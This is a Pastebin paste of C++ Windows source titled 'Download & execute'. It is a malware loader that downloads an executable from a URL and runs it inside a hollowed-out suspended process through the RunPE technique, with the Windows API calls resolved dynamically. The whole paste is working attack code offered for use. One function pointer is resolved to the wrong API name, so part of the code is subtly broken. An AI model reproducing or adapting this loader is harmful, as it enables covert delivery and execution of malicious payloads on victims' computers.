0xtv

Download & execute

Apr 14th, 2014
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 7.44 KB | None | 0 0
  1. #include <Windows.h>
  2.      
  3.     bool RunPE(LPCWSTR szFilePath, LPVOID pFile, LPWSTR CmdArgs);
  4.     LPVOID GetFileBuff(LPCSTR lpszURL);
  5.      
  6.     typedef LONG ( __stdcall * dynNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
  7.     typedef BOOL ( __stdcall * dynVirtualFree)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
  8.     typedef DWORD ( __stdcall * dynResumeThread)(HANDLE hThread);
  9.     typedef BOOL ( __stdcall * dynCreateProcessW)(LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
  10.     typedef BOOL ( __stdcall * dynGetThreadContext)(HANDLE hThread, LPCONTEXT lpContext);
  11.     typedef BOOL ( __stdcall * dynReadProcessMemory)(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead);
  12.     typedef LPVOID ( __stdcall * dynVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
  13.     typedef BOOL ( __stdcall * dynWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten);
  14.     typedef BOOL ( __stdcall * dynSetThreadContext)(HANDLE hThread, CONTEXT *lpContext);
  15.     typedef LPVOID ( __stdcall * dynVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
  16.     typedef VOID ( __stdcall * dynRtlZeroMemory)( _Out_ VOID UNALIGNED *Destination, _In_ SIZE_T Length);
  17.     typedef HRESULT ( __stdcall * dynURLOpenBlockingStreamA)(LPUNKNOWN, LPCSTR, LPSTREAM*, DWORD, LPBINDSTATUSCALLBACK);
  18.     typedef HGLOBAL ( __stdcall * dynGlobalAlloc)(UINT uFlags, SIZE_T dwBytes);
  19.      
  20.     int main(void)
  21.     {
  22.     LPVOID FileData = GetFileBuff("http://google.com/google.exe");
  23.     RunPE(L"...", FileData, NULL); //... = Injection path
  24.      
  25.     ExitProcess(0);
  26.     }
  27.      
  28.     bool RunPE(LPCWSTR szFilePath, LPVOID pFile, LPWSTR CmdArgs)
  29.     {
  30.      
  31.     PIMAGE_DOS_HEADER PIDH = NULL;
  32.     PIMAGE_NT_HEADERS PINH = NULL;
  33.     PIMAGE_SECTION_HEADER ISH = NULL;
  34.     PROCESS_INFORMATION PI;
  35.     STARTUPINFOW SI;
  36.     PCONTEXT PCTX = NULL;
  37.     PDWORD dwImageBase = NULL;
  38.     LPVOID pImageBase = NULL;
  39.     int Count = NULL;
  40.      
  41.     dynNtUnmapViewOfSection myNtUnmapViewOfSection;
  42.     dynVirtualFree myVirtualFree;
  43.     dynCreateProcessW myCreateProcessW;
  44.     dynVirtualAlloc myVirtualAlloc;
  45.     dynGetThreadContext myGetThreadContext;
  46.     dynReadProcessMemory myReadProcessMemory;
  47.     dynVirtualAllocEx myVirtualAllocEx;
  48.     dynWriteProcessMemory myWriteProcessMemory;
  49.     dynSetThreadContext mySetThreadContext;
  50.     dynResumeThread myResumeThread;
  51.     dynRtlZeroMemory myRtlZeroMemory;
  52.      
  53.      
  54.     myNtUnmapViewOfSection = dynNtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
  55.     myVirtualFree = dynVirtualFree(GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualFree"));
  56.     myCreateProcessW = dynCreateProcessW(GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW"));
  57.     myVirtualAlloc = dynVirtualAlloc(GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAlloc"));
  58.     myGetThreadContext = dynGetThreadContext(GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetThreadContext"));
  59.     myReadProcessMemory = dynReadProcessMemory(GetProcAddress(GetModuleHandleA("kernel32.dll"), "ReadProcessMemory"));
  60.     myVirtualAllocEx = dynVirtualAllocEx(GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAllocEx"));
  61.     myWriteProcessMemory = dynWriteProcessMemory(GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteProcessMemory"));
  62.     mySetThreadContext = dynSetThreadContext(GetProcAddress(GetModuleHandleA("kernel32.dll"), "SetThreadContext"));
  63.     myResumeThread = dynResumeThread(GetProcAddress(GetModuleHandleA("kernel32.dll"), "ResumeThread"));
  64.     myRtlZeroMemory = dynRtlZeroMemory(GetProcAddress(GetModuleHandleA("kernel32.dll"), "RtlZeroMemory"));
  65.     PIDH = PIMAGE_DOS_HEADER(pFile);
  66.     if (PIDH->e_magic != IMAGE_DOS_SIGNATURE) return false;
  67.      
  68.     PINH = PIMAGE_NT_HEADERS(DWORD(pFile) + PIDH->e_lfanew);
  69.     if (PINH->Signature != IMAGE_NT_SIGNATURE) return false;
  70.      
  71.     myRtlZeroMemory(&SI, sizeof(SI));
  72.     myRtlZeroMemory(&PI, sizeof(PI));
  73.      
  74.      
  75.      
  76.     if (!myCreateProcessW(szFilePath, CmdArgs, NULL, NULL, NULL, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) return false;
  77.      
  78.     PCTX = PCONTEXT(myVirtualAlloc(NULL, sizeof(PCTX), MEM_COMMIT , PAGE_READWRITE));
  79.     PCTX->ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS;
  80.      
  81.     if (!myGetThreadContext(PI.hThread, LPCONTEXT(PCTX))) return false;
  82.     if(!myReadProcessMemory(PI.hProcess, LPCVOID(PCTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL)) return false;
  83.     if (DWORD(dwImageBase) != PINH->OptionalHeader.ImageBase) return false;
  84.      
  85.     myNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
  86.      
  87.     pImageBase = myVirtualAllocEx(PI.hProcess, LPVOID(PINH->OptionalHeader.ImageBase), PINH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
  88.      
  89.     if (pImageBase == NULL) return false;
  90.     if(!myWriteProcessMemory(PI.hProcess, pImageBase, pFile, PINH->OptionalHeader.SizeOfHeaders, NULL)) return false;
  91.      
  92.     while(Count < PINH->FileHeader.NumberOfSections)
  93.     {
  94.     ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + PIDH->e_lfanew + 248 + (Count * 40));
  95.      
  96.     if(!myWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL)) return false;
  97.      
  98.     Count++;
  99.     }
  100.      
  101.     if(!myWriteProcessMemory(PI.hProcess, LPVOID(PCTX->Ebx + 8), LPVOID(&PINH->OptionalHeader.ImageBase), 4, NULL)) return false;
  102.      
  103.     PCTX->Eax = DWORD(pImageBase) + PINH->OptionalHeader.AddressOfEntryPoint;
  104.      
  105.     if(!mySetThreadContext(PI.hThread, LPCONTEXT(PCTX))) return false;
  106.     if(myResumeThread(PI.hThread) == (DWORD) -1) return false;
  107.     if(!myVirtualFree(pFile, NULL, MEM_RELEASE)) return false;
  108.      
  109.     return true;
  110.     }
  111.      
  112.     LPVOID GetFileBuff(LPCSTR lpszURL)
  113.     {
  114.      
  115.     dynURLOpenBlockingStreamA UOBS;
  116.     dynRtlZeroMemory myRtlZeroMemory;
  117.     dynGlobalAlloc myGlobalAlloc;
  118.     LPSTR lpResult = NULL;
  119.     LPSTREAM lpStream = NULL;
  120.     STATSTG statStream;
  121.      
  122.     /*=-- Could've used global variables for the above dynRtlZeroMemory etc but... whatever --=*/
  123.     myRtlZeroMemory = dynRtlZeroMemory(GetProcAddress(GetModuleHandleA("kernel32.dll"), "RtlZeroMemory"));
  124.     UOBS = dynURLOpenBlockingStreamA(GetProcAddress(GetModuleHandleA("Urlmon.dll"), "URLOpenBlockingStreamA"));
  125.     myGlobalAlloc = dynGlobalAlloc(GetProcAddress(GetModuleHandleA("kernel32.dll"), "NtUnmapViewOfSection"));
  126.      
  127.      
  128.     if(lpszURL && SUCCEEDED(UOBS(NULL, lpszURL, &lpStream, 0, NULL)))
  129.     {
  130.      
  131.     if(SUCCEEDED(lpStream->Stat(&statStream, STATFLAG_NONAME)))
  132.     {
  133.     DWORD dwSize = statStream.cbSize.LowPart + 1;
  134.     lpResult = (LPSTR)myGlobalAlloc(GMEM_FIXED, dwSize);
  135.     if(lpResult)
  136.     {
  137.     LARGE_INTEGER liPos;
  138.     myRtlZeroMemory(&liPos, sizeof(liPos));
  139.     myRtlZeroMemory(lpResult, dwSize);
  140.     lpStream->Seek(liPos, STREAM_SEEK_SET, NULL);
  141.     lpStream->Read(lpResult, dwSize - 1, NULL);
  142.     }
  143.     }
  144.     lpStream->Release();
  145.     }
  146.     else
  147.     {
  148.     //FAILED & TODO
  149.     }
  150.     return lpResult;
  151.     }
Add Comment
Please, Sign In to add comment